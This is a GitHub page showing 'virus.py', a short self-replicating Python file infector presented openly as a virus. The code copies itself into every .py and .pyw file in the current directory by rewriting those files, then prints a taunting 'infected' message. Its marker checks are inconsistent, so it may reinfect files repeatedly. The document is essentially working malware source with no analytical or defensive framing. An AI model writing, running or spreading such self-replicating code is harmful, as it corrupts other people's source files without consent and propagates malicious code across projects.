-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathvirus.py
50 lines (34 loc) · 1.03 KB
/
virus.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# I AM VIRUS !
import sys
import glob
virus_code = []
with open(sys.argv[0], 'r') as f:
lines = f.readlines()
self_replicating_part = False
for line in lines:
if line == "# VIRUS SAYS HI, HAVE INFECTED ALL YOUR FILES!!":
self_replicating_part = True
if not self_replicating_part:
virus_code.append(line)
if line == "# VIRUS SAYS BYE!\n":
break
python_files = glob.glob('*.py') + glob.glob('*.pyw')
for file in python_files:
with open(file, 'r') as f:
file_code = f.readlines()
infected = False
for line in file_code:
if line == "# VIRUS SAYS HI!\n":
infected = True
break
if not infected:
final_code = []
final_code.extend(virus_code)
final_code.extend('\n')
final_code.extend(file_code)
with open(file, 'w') as f:
f.writelines(final_code)
def malicious_code():
print("YOU HAVE BEEN INFECTED HAHAHA !!!")
malicious_code()
# VIRUS SAYS BYE!